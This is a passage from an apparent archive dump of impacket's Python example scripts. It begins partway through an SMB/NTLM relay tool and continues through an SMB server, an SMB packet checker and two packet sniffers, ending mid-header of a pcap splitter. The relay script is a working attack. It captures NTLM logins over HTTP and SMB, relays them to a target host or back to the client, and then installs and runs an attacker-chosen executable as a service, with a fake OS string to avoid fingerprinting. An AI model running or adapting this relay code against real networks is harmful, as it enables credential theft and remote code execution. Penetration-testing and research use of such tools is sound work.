impacket.examples import serviceinstall from impacket.spnego import * from impacket.smb import * from impacket.smbserver import * from threading import Thread class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! # First of all check whether we're Guest in the target system. # If so, we're screwed. result = self.installService.install() if result is True: print "[*] Service Installed.. CONNECT!" self.installService.uninstall() class SMBClient(smb.SMB): def __init__(self, remote_name, extended_security = True, sess_port = 445): self._extendedSecurity = extended_security smb.SMB.__init__(self,remote_name, remote_name, sess_port = sess_port) def neg_session(self): neg_sess = smb.SMB.neg_session(self, extended_security = self._extendedSecurity) if self._SignatureRequired is True: print "[!] Signature is REQUIRED on the other end, can't attack target" return neg_sess def setUid(self,uid): self._uid = uid def login_standard(self, user, domain, ansiPwd, unicodePwd): smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = self._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(ansiPwd) sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = ansiPwd sessionSetup['Data']['UnicodePwd'] = unicodePwd sessionSetup['Data']['Account'] = str(user) sessionSetup['Data']['PrimaryDomain'] = str(domain) sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) self.sendSMB(smb) smb = self.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: print "[!] Error login_standard" return None, STATUS_LOGON_FAILURE else: self._uid = smb['Uid'] return smb, STATUS_SUCCESS def sendAuth(self, authenticateMessageBlob): smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if self._SignatureRequired: smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = self._uid sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob) sessionSetup['Data']['SecurityBlob'] = str(authenticateMessageBlob) smb.addCommand(sessionSetup) self.sendSMB(smb) smb = self.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def sendNegotiate(self, negotiateMessage): smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if self._SignatureRequired: smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Let's build a NegTokenInit with the NTLMSSP # TODO: In the future we should be able to choose different providers blob = SPNEGO_NegTokenInit() # NTLMSSP blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] blob['MechToken'] = str(negotiateMessage) sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) sessionSetup['Parameters'].getData() sessionSetup['Data']['SecurityBlob'] = blob.getData() # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) self.sendSMB(smb) smb = self.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: print "[!] SessionSetup Error!" return None else: # We will need to use this uid field for all future requests/responses self._uid = smb['Uid'] # Now we have to extract the blob to continue the auth process sessionResponse = SMBCommand(smb['Data'][0]) sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) return respToken['ResponseToken'] class HTTPRelayServer(Thread): class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): def __init__(self, server_address, RequestHandlerClass, target, exeFile, mode): self.target = target self.exeFile = exeFile self.mode = mode SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' print "[*] HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.server.target) SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except: pass def log_message(self, format, *args): return def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_AUTHHEAD(self, message = ''): self.send_response(401) self.send_header('WWW-Authenticate', message) self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() def do_GET(self): messageType = 0 if self.headers.getheader('Authorization') == None: self.do_AUTHHEAD(message = 'NTLM') pass else: #self.do_AUTHHEAD() typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = struct.unpack(' > 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) print "[!] Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want print "[*] Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name']) del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want del (smbData[self.target]) clientThread = doAttack(smbClient,self.exeFile) clientThread.start() # Remove the target server from our connection list, the work is done # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode def _start(self): self.server.serve_forever() def run(self): print "[*] Setting up SMB Server" self._start() def setTargets(self, targets): self.target = targets def setExeFile(self, filename): self.exeFile = filename def setMode(self,mode): self.mode = mode # Process command-line arguments. if __name__ == '__main__': RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) print version.BANNER parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will try to SMB relay that connection to the target system or the original client") parser.add_argument("--help", action="help", help='show this help message and exit') parser.add_argument('-h', action='store', metavar = 'HOST', help='Host to relay the credentials to, if not it will relay it back to the client') parser.add_argument('-e', action='store', required=True, metavar = 'FILE', help='File to execute on the target system') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception, e: print e sys.exit(1) if options.h is not None: print "[*] Running in relay mode" mode = 'RELAY' targetSystem = options.h else: print "[*] Running in reflection mode" targetSystem = None mode = 'REFLECTION' exeFile = options.e for server in RELAY_SERVERS: s = server() s.setTargets(targetSystem) s.setExeFile(exeFile) s.setMode(mode) s.start() print "" print "[*] Servers started, waiting for connections" while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass impacket-0.9.12/examples/smbserver.py 0000600 0000765 0000024 00000003206 12361767070 017656 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2014 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: smbserver.py 1240 2014-06-23 18:14:15Z bethus@gmail.com $ # # Simple SMB Server example. # # Author: # Alberto Solino # import sys import argparse from impacket import smbserver, version if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser(add_help = False, description = "This script will launch a SMB Server and add a share specified as an argument. You need to be root in order to bind to port 445. No authentication will be enforced. Example: smbserver.py -comment 'My share' TMP /tmp") parser.add_argument('shareName', action='store', help='name of the share to add') parser.add_argument('sharePath', action='store', help='path of the share to add') parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') if len(sys.argv)==1: parser.print_help() sys.exit(1) try: options = parser.parse_args() except Exception, e: print e sys.exit(1) if options.comment is None: comment = '' else: comment = options.comment server = smbserver.SimpleSMBServer() server.addShare(options.shareName.upper(), options.sharePath, comment) # If you don't want log to stdout, comment the following line # If you want log dumped to a file, enter the filename server.setLogFile('') # Rock and roll server.start() impacket-0.9.12/examples/smbtorture.py 0000600 0000765 0000024 00000043024 12361767070 020056 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2012 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: smbtorture.py 573 2012-06-24 19:39:05Z bethus@gmail.com $ # # Parses a pcap file or sniffes traffic from the net and checks the SMB structs for errors. # Log the error packets in outFile # # Author: # Alberto Solino # # ToDo: # [ ] Add more SMB Commands # [ ] Do the same for DCERPC import struct from select import select import socket import argparse from impacket import pcapfile, smb, nmb, ntlm, version from impacket import ImpactPacket, ImpactDecoder, structure # Command handler def smbTransaction2( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_TRANSACTION2 ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters']) # Do the stuff if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']: # TODO: Handle partial parameters #print "Unsupported partial parameters in TRANSACT2!" raise Exception("Unsupported partial parameters in TRANSACT2!") else: trans2Data = smb.SMBTransaction2_Data() # Standard says servers shouldn't trust Parameters and Data comes # in order, so we have to parse the offsets, ugly paramCount = trans2Parameters['ParameterCount'] trans2Data['Trans_ParametersLength'] = paramCount dataCount = trans2Parameters['DataCount'] trans2Data['Trans_DataLength'] = dataCount if trans2Parameters['ParameterOffset'] > 0: paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength'] trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount] else: trans2Data['Trans_Parameters'] = '' if trans2Parameters['DataOffset'] > 0: dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength'] trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount] else: # Response # ToDo not implemented yet a = 1 except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComOpenAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return True print "SMB_COM_OPEN_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query openAndXParameters = smb.SMBOpenAndX_Parameters(SMBCommand['Parameters']) openAndXData = smb.SMBOpenAndX_Data(SMBCommand['Data']) else: # Response openFileResponse = SMBCommand openFileParameters = smb.SMBOpenAndXResponse_Parameters(openFileResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComWriteAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_WRITE_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 0x0C: writeAndX = smb.SMBWriteAndX_Parameters2(SMBCommand['Parameters']) else: writeAndX = smb.SMBWriteAndX_Parameters(SMBCommand['Parameters']) writeAndXData = smb.SMBWriteAndX_Data() writeAndXData['DataLength'] = writeAndX['DataLength'] if writeAndX['DataLength'] > 0: writeAndXData.fromString(SMBCommand['Data']) else: # Response writeResponse = SMBCommand writeResponseParameters = smb.SMBWriteAndXResponse_Parameters(writeResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComNtCreateAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_NT_CREATE_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data(SMBCommand['Data']) else: # Response ntCreateResponse = SMBCommand ntCreateParameters = smb.SMBNtCreateAndXResponse_Parameters(ntCreateResponse['Parameters']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComTreeConnectAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: return False print "SMB_COM_TREE_CONNECT_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) treeConnectAndXData = smb.SMBTreeConnectAndX_Data() treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) else: # Response treeConnectAndXParameters = smb.SMBTreeConnectAndXResponse_Parameters(SMBCommand['Parameters']) #treeConnectAndXData = smb.SMBTreeConnectAndXResponse_Data(SMBCommand['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComSessionSetupAndX( packet, packetNum, SMBCommand, questions, replies): # Test return code is always 0, otherwise leave before doing anything if packet['ErrorCode'] != 0: if packet['ErrorClass'] != 0x16: return False print "SMB_COM_SESSION_SETUP_ANDX ", try: if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0: # Query if SMBCommand['WordCount'] == 12: # Extended Security sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = smb.SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = smb.SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] messageType = struct.unpack(' 0: infoFields = ntlmChallenge['TargetInfoFields'] av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']]) if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None: __server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None: __server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le') else: # Standard Security sessionResponse = SMBCommand sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters']) sessionData = smb.SMBSessionSetupAndXResponse_Data(flags = packet['Flags2'], data = sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False def smbComNegotiate( packet, packetNum, command, questions, replies): sessionResponse = command if packet['Flags1'] & smb.SMB.FLAGS1_REPLY: print "SMB_COM_NEGOTIATE ", try: _dialects_parameters = smb.SMBNTLMDialect_Parameters(sessionResponse['Parameters']) _dialects_data = smb.SMBNTLMDialect_Data() _dialects_data['ChallengeLength'] = _dialects_parameters['ChallengeLength'] _dialects_data.fromString(sessionResponse['Data']) if _dialects_parameters['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: _dialects_parameters = smb.SMBExtended_Security_Parameters(sessionResponse['Parameters']) _dialects_data = smb.SMBExtended_Security_Data(sessionResponse['Data']) except Exception, e: print "ERROR: %s" % e print "Command: 0x%x" % packet['Command'] print "Packet: %d %r" % (packetNum, packet.getData()) return True else: print 'OK!' return False # Format # { SMBCOMMAND: ((questionStruts),(replyStructus), handler) } HANDLER = 2 REPLIES = 1 QUESTIONS = 0 smbCommands = { # smb.SMB.SMB_COM_CREATE_DIRECTORY: (, # smb.SMB.SMB_COM_DELETE_DIRECTORY: self.smbComDeleteDirectory, # smb.SMB.SMB_COM_RENAME: self.smbComRename, # smb.SMB.SMB_COM_DELETE: self.smbComDelete, smb.SMB.SMB_COM_NEGOTIATE: ( None,None,smbComNegotiate), smb.SMB.SMB_COM_SESSION_SETUP_ANDX: ( None,None,smbComSessionSetupAndX), # smb.SMB.SMB_COM_LOGOFF_ANDX: self.smbComLogOffAndX, smb.SMB.SMB_COM_TREE_CONNECT_ANDX: ( None,None,smbComTreeConnectAndX), # smb.SMB.SMB_COM_TREE_DISCONNECT: self.smbComTreeDisconnect, # smb.SMB.SMB_COM_ECHO: self.get_th_sportsmbComEcho, # smb.SMB.SMB_COM_QUERY_INFORMATION: self.smbQueryInformation, smb.SMB.SMB_COM_TRANSACTION2: ( None, None, smbTransaction2), # smb.SMB.SMB_COM_TRANSACTION: self.smbTransaction, # smb.SMB.SMB_COM_NT_TRANSACT: self.smbNTTransact, # smb.SMB.SMB_COM_QUERY_INFORMATION_DISK: sler.smbQueryInformationDisk, smb.SMB.SMB_COM_OPEN_ANDX: (None, None, smbComOpenAndX), # smb.SMB.SMB_COM_QUERY_INFORMATION2: self.smbComQueryInformation2, # smb.SMB.SMB_COM_READ_ANDX: self.smbComReadAndX, # smb.SMB.SMB_COM_READ: self.smbComRead, smb.SMB.SMB_COM_WRITE_ANDX: (None, None, smbComWriteAndX), # smb.SMB.SMB_COM_WRITE: self.smbComWrite, # smb.SMB.SMB_COM_CLOSE: self.smbComClose, # smb.SMB.SMB_COM_LOCKING_ANDX: self.smbComLockingAndX, smb.SMB.SMB_COM_NT_CREATE_ANDX: (None, None, smbComNtCreateAndX), # 0xFF: self.default } # Returns True is the packet needs to be logged def process(data, packetNum): packet = smb.NewSMBPacket() if data.get_packet()[0] == '\x00': if data.get_packet()[4:8] == '\xffSMB': try: packet.fromString(data.get_packet()[4:]) except Exception, e: print "ERROR: %s" % e print "Command: SMBPacket" print "Packet: %d %r" % (packetNum, data.get_packet()) return True else: return False else: return False try: SMBCommand = smb.SMBCommand(packet['Data'][0]) except Exception, e: print "ERROR: %s" % e print "Command: SMBCommand" print "Packet: %d %r" % (packetNum, data.get_packet()) return True if smbCommands.has_key(packet['Command']): return smbCommands[packet['Command']][HANDLER](packet, packetNum, SMBCommand, smbCommands[packet['Command']][QUESTIONS], smbCommands[packet['Command']][REPLIES]) #else: # print "Command 0x%x not handled" % packet['Command'] def main(): import sys DEFAULT_PROTOCOLS = ('tcp',) sockets = [] print version.BANNER parser = argparse.ArgumentParser() parser.add_argument("-i", metavar = 'FILE', help = 'pcap file to read packets. If not specified the program sniffes traffic (only as root)') parser.add_argument("-o", metavar = 'FILE', help = 'pcap output file where the packets with errors will be written') options = parser.parse_args() outFile = options.o if options.i is None: sniffTraffic = True toListen = DEFAULT_PROTOCOLS else: sniffTraffic = False inFile = options.i packetNum = 0 if outFile: f_out = open(outFile,'wb') f_out.write(str(pcapfile.PCapFileHeader())) if sniffTraffic is False: f_in = open(inFile,'rb') hdr = pcapfile.PCapFileHeader() hdr.fromString(f_in.read(len(hdr))) decoder = ImpactDecoder.EthDecoder() else: for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) print "Listening on protocols:", toListen decoder = ImpactDecoder.IPDecoder() while 1: if sniffTraffic is False: pkt = pcapfile.PCapFilePacket() try: pkt.fromString(f_in.read(len(pkt))) except: break pkt['data'] = f_in.read(pkt['savedLength']) p = pkt['data'] else: ready = select(sockets, [], [])[0] for s in ready: p = s.recvfrom(4096)[0] if 0 == len(p): # Socket remotely closed. Discard it. sockets.remove(s) s.close() packet = decoder.decode(p) packetNum += 1 if sniffTraffic is True: instance = packet.child() else: instance = packet.child().child() if isinstance(instance, ImpactPacket.TCP): tcppacket = instance if tcppacket.get_th_sport() == 445 or tcppacket.get_th_dport() == 445 or tcppacket.get_th_sport() == 139 or tcppacket.get_th_dport() == 139: data = tcppacket.child() if data.get_size() > 0: logPacket = process(data, packetNum) if logPacket is True: pkt_out = pcapfile.PCapFilePacket() if sniffTraffic is True: eth = ImpactPacket.Ethernet() eth.contains(packet) eth.set_ether_type(0x800) pkt_out['data'] = eth.get_packet() else: pkt_out['data'] = str(p) if outFile: f_out.write(str(pkt_out)) if __name__ == '__main__': main() impacket-0.9.12/examples/sniff.py 0000600 0000765 0000024 00000006252 12361767070 016757 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: sniff.py 17 2003-10-27 17:36:57Z jkohen $ # # Simple packet sniffer. # # This packet sniffer uses the pcap library to listen for packets in # transit over the specified interface. The returned packages can be # filtered according to a BPF filter (see tcpdump(3) for further # information on BPF filters). # # Note that the user might need special permissions to be able to use pcap. # # Authors: # Maximiliano Caceres # Javier Kohen # # Reference for: # pcapy: findalldevs, open_live. # ImpactDecoder. import sys import string from threading import Thread import pcapy from pcapy import findalldevs, open_live import impacket from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder class DecoderThread(Thread): def __init__(self, pcapObj): # Query the type of the link and instantiate a decoder accordingly. datalink = pcapObj.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.pcap = pcapObj Thread.__init__(self) def run(self): # Sniff ad infinitum. # PacketHandler shall be invoked by pcap for every packet. self.pcap.loop(0, self.packetHandler) def packetHandler(self, hdr, data): # Use the ImpactDecoder to turn the rawpacket into a hierarchy # of ImpactPacket instances. # Display the packet in human-readable form. print self.decoder.decode(data) def getInterface(): # Grab a list of interfaces that pcap is able to listen on. # The current user will be able to listen from all returned interfaces, # using open_live to open them. ifs = findalldevs() # No interfaces available, abort. if 0 == len(ifs): print "You don't have enough permissions to open any interface on this system." sys.exit(1) # Only one interface available, use it. elif 1 == len(ifs): print 'Only one interface present, defaulting to it.' return ifs[0] # Ask the user to choose an interface from the list. count = 0 for iface in ifs: print '%i - %s' % (count, iface) count += 1 idx = int(raw_input('Please select an interface: ')) return ifs[idx] def main(filter): dev = getInterface() # Open interface for catpuring. p = open_live(dev, 1500, 0, 100) # Set the BPF filter. See tcpdump(3). p.setfilter(filter) print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()) # Start sniffing thread and finish main thread. DecoderThread(p).start() # Process command-line arguments. Take everything as a BPF filter to pass # onto pcap. Default to the empty filter (match all). filter = '' if len(sys.argv) > 1: filter = ' '.join(sys.argv[1:]) main(filter) impacket-0.9.12/examples/sniffer.py 0000600 0000765 0000024 00000004140 12361767070 017300 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: sniffer.py 17 2003-10-27 17:36:57Z jkohen $ # # Simple packet sniffer. # # This packet sniffer uses a raw socket to listen for packets # in transit corresponding to the specified protocols. # # Note that the user might need special permissions to be able to use # raw sockets. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # ImpactDecoder. from select import select import socket import sys import impacket from impacket import ImpactDecoder DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') if len(sys.argv) == 1: toListen = DEFAULT_PROTOCOLS print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0] else: toListen = sys.argv[1:] # Open one socket for each specified protocol. # A special option is set on the socket so that IP headers are included with # the returned data. sockets = [] for protocol in toListen: try: protocol_num = socket.getprotobyname(protocol) except socket.error: print "Ignoring unknown protocol:", protocol toListen.remove(protocol) continue s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sockets.append(s) if 0 == len(toListen): print "There are no protocols available." sys.exit(0) print "Listening on protocols:", toListen # Instantiate an IP packets decoder. # As all the packets include their IP header, that decoder only is enough. decoder = ImpactDecoder.IPDecoder() while len(sockets) > 0: # Wait for an incoming packet on any socket. ready = select(sockets, [], [])[0] for s in ready: packet = s.recvfrom(4096)[0] if 0 == len(packet): # Socket remotely closed. Discard it. sockets.remove(s) s.close() else: # Packet received. Decode and display it. packet = decoder.decode(packet) print packet impacket-0.9.12/examples/split.py 0000600 0000765 0000024 00000010625 12361767070 017004 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: split.py 17 2003-10-27 17:36:57Z jkohen $ # # Pcap dump splitter. # # This 